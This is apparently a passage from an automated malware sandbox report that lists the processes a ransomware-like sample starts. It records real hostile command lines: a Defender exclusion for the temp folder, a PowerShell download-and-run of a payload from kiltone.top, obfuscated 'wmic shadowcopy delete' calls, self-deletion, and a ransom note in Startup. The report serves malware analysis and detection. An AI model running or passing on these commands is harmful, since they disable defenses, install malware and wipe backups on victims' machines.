                                                                                                                                                                  Commandline:"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl
                                                                                                                                                                  Imagebase:0x7ff76bbd0000
                                                                                                                                                                  File size:71'680 bytes
                                                                                                                                                                  MD5 hash:EF3179D498793BF4234F708D3BE28633
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:23
                                                                                                                                                                  Start time:06:15:24
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                  Commandline:"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl
                                                                                                                                                                  Imagebase:0x980000
                                                                                                                                                                  File size:61'440 bytes
                                                                                                                                                                  MD5 hash:889B99C52A60DD49227C5E485A016679
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:25
                                                                                                                                                                  Start time:06:15:29
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                  Commandline:cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
                                                                                                                                                                  Imagebase:0x410000
                                                                                                                                                                  File size:236'544 bytes
                                                                                                                                                                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:26
                                                                                                                                                                  Start time:06:15:29
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  Imagebase:0x7ff75da10000
                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:27
                                                                                                                                                                  Start time:06:15:30
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                  Commandline:powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
                                                                                                                                                                  Imagebase:0xe70000
                                                                                                                                                                  File size:433'152 bytes
                                                                                                                                                                  MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:29
                                                                                                                                                                  Start time:07:43:26
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                  Commandline:cmd /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
                                                                                                                                                                  Imagebase:0x410000
                                                                                                                                                                  File size:236'544 bytes
                                                                                                                                                                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:30
                                                                                                                                                                  Start time:07:43:26
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  Imagebase:0x7ff75da10000
                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:31
                                                                                                                                                                  Start time:07:43:26
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                  Commandline:powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
                                                                                                                                                                  Imagebase:0xe70000
                                                                                                                                                                  File size:433'152 bytes
                                                                                                                                                                  MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:32
                                                                                                                                                                  Start time:07:43:31
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                  Commandline:cmd /c %temp%/eryy65ty.exe
                                                                                                                                                                  Imagebase:0x410000
                                                                                                                                                                  File size:236'544 bytes
                                                                                                                                                                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:33
                                                                                                                                                                  Start time:07:43:31
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  Imagebase:0x7ff75da10000
                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:34
                                                                                                                                                                  Start time:07:43:31
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                  Commandline:C:\Users\user~1\AppData\Local\Temp/eryy65ty.exe
                                                                                                                                                                  Imagebase:0xbf0000
                                                                                                                                                                  File size:902'856 bytes
                                                                                                                                                                  MD5 hash:2B986178DA0C3D081F99AC8FB4A5952C
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Antivirus matches:
                                                                                                                                                                  • Detection: 87%, ReversingLabs
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:35
                                                                                                                                                                  Start time:07:43:37
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete
                                                                                                                                                                  Imagebase:0x7ff6d7f00000
                                                                                                                                                                  File size:576'000 bytes
                                                                                                                                                                  MD5 hash:C37F2F4F4B3CD128BDABCAEB2266A785
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:36
                                                                                                                                                                  Start time:07:43:37
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  Imagebase:0x7ff75da10000
                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:42
                                                                                                                                                                  Start time:07:43:47
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                  Commandline:"C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe"
                                                                                                                                                                  Imagebase:0xbf0000
                                                                                                                                                                  File size:902'856 bytes
                                                                                                                                                                  MD5 hash:2B986178DA0C3D081F99AC8FB4A5952C
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:43
                                                                                                                                                                  Start time:07:43:53
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:c:\qYxiJv\qYxi\..\..\Windows\qYxi\qYxi\..\..\system32\qYxi\qYxi\..\..\wbem\qYxi\qYxiJ\..\..\wmic.exe shadowcopy delete
                                                                                                                                                                  Imagebase:0x7ff6d7f00000
                                                                                                                                                                  File size:576'000 bytes
                                                                                                                                                                  MD5 hash:C37F2F4F4B3CD128BDABCAEB2266A785
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:44
                                                                                                                                                                  Start time:07:43:53
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  Imagebase:0x7ff75da10000
                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:45
                                                                                                                                                                  Start time:07:43:56
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                  Commandline:"C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe"
                                                                                                                                                                  Imagebase:0xbf0000
                                                                                                                                                                  File size:902'856 bytes
                                                                                                                                                                  MD5 hash:2B986178DA0C3D081F99AC8FB4A5952C
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:47
                                                                                                                                                                  Start time:07:44:01
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:c:\DgeFGH\DgeF\..\..\Windows\DgeF\DgeF\..\..\system32\DgeF\DgeF\..\..\wbem\DgeF\DgeFG\..\..\wmic.exe shadowcopy delete
                                                                                                                                                                  Imagebase:0x7ff6d7f00000
                                                                                                                                                                  File size:576'000 bytes
                                                                                                                                                                  MD5 hash:C37F2F4F4B3CD128BDABCAEB2266A785
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:48
                                                                                                                                                                  Start time:07:44:01
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  Imagebase:0x7ff75da10000
                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:51
                                                                                                                                                                  Start time:07:44:05
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:c:\xMvAnp\xMvA\..\..\Windows\xMvA\xMvA\..\..\system32\xMvA\xMvA\..\..\wbem\xMvA\xMvAn\..\..\wmic.exe shadowcopy delete
                                                                                                                                                                  Imagebase:0x7ff6d7f00000
                                                                                                                                                                  File size:576'000 bytes
                                                                                                                                                                  MD5 hash:C37F2F4F4B3CD128BDABCAEB2266A785
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:52
                                                                                                                                                                  Start time:07:44:05
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                  Commandline:cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe"
                                                                                                                                                                  Imagebase:0x410000
                                                                                                                                                                  File size:236'544 bytes
                                                                                                                                                                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:53
                                                                                                                                                                  Start time:07:44:05
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  Imagebase:0x7ff75da10000
                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:54
                                                                                                                                                                  Start time:07:44:05
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  Imagebase:0x7ff75da10000
                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:55
                                                                                                                                                                  Start time:07:44:06
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                  Commandline:ping 1.1.1.1 -n 1 -w 3000
                                                                                                                                                                  Imagebase:0x20000
                                                                                                                                                                  File size:18'944 bytes
                                                                                                                                                                  MD5 hash:B3624DD758CCECF93A1226CEF252CA12
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:56
                                                                                                                                                                  Start time:07:44:10
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\notepad.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:"C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt
                                                                                                                                                                  Imagebase:0x7ff711430000
                                                                                                                                                                  File size:201'216 bytes
                                                                                                                                                                  MD5 hash:27F71B12CB585541885A31BE22F61C83
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:false

                                                                                                                                                                  Target ID:59
                                                                                                                                                                  Start time:07:44:20
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:c:\mCMXKV\mCMX\..\..\Windows\mCMX\mCMX\..\..\system32\mCMX\mCMX\..\..\wbem\mCMX\mCMXK\..\..\wmic.exe shadowcopy delete
                                                                                                                                                                  Imagebase:0x7ff6febd0000
                                                                                                                                                                  File size:576'000 bytes
                                                                                                                                                                  MD5 hash:C37F2F4F4B3CD128BDABCAEB2266A785
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:60
                                                                                                                                                                  Start time:07:44:20
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                  Commandline:cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe"
                                                                                                                                                                  Imagebase:0x410000
                                                                                                                                                                  File size:236'544 bytes
                                                                                                                                                                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:61
                                                                                                                                                                  Start time:07:44:20
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  Imagebase:0x7ff75da10000
                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:62
                                                                                                                                                                  Start time:07:44:20
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  Imagebase:0x7ff75da10000
                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:63
                                                                                                                                                                  Start time:07:44:21
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                  Commandline:ping 1.1.1.1 -n 1 -w 3000
                                                                                                                                                                  Imagebase:0x200000
                                                                                                                                                                  File size:18'944 bytes
                                                                                                                                                                  MD5 hash:B3624DD758CCECF93A1226CEF252CA12
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:65
                                                                                                                                                                  Start time:07:44:26
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:c:\mZDBzN\mZDB\..\..\Windows\mZDB\mZDB\..\..\system32\mZDB\mZDB\..\..\wbem\mZDB\mZDBz\..\..\wmic.exe shadowcopy delete
                                                                                                                                                                  Imagebase:0x7ff6febd0000
                                                                                                                                                                  File size:576'000 bytes
                                                                                                                                                                  MD5 hash:C37F2F4F4B3CD128BDABCAEB2266A785
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:66
                                                                                                                                                                  Start time:07:44:26
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                  Commandline:cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe"
                                                                                                                                                                  Imagebase:0x410000
                                                                                                                                                                  File size:236'544 bytes
                                                                                                                                                                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:67
                                                                                                                                                                  Start time:07:44:26
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  Imagebase:0x7ff75da10000
                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:68
                                                                                                                                                                  Start time:07:44:26
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  Imagebase:0x7ff75da10000
                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:69
                                                                                                                                                                  Start time:07:44:26
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                  Commandline:ping 1.1.1.1 -n 1 -w 3000
                                                                                                                                                                  Imagebase:0x200000
                                                                                                                                                                  File size:18'944 bytes
                                                                                                                                                                  MD5 hash:B3624DD758CCECF93A1226CEF252CA12
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  No disassembly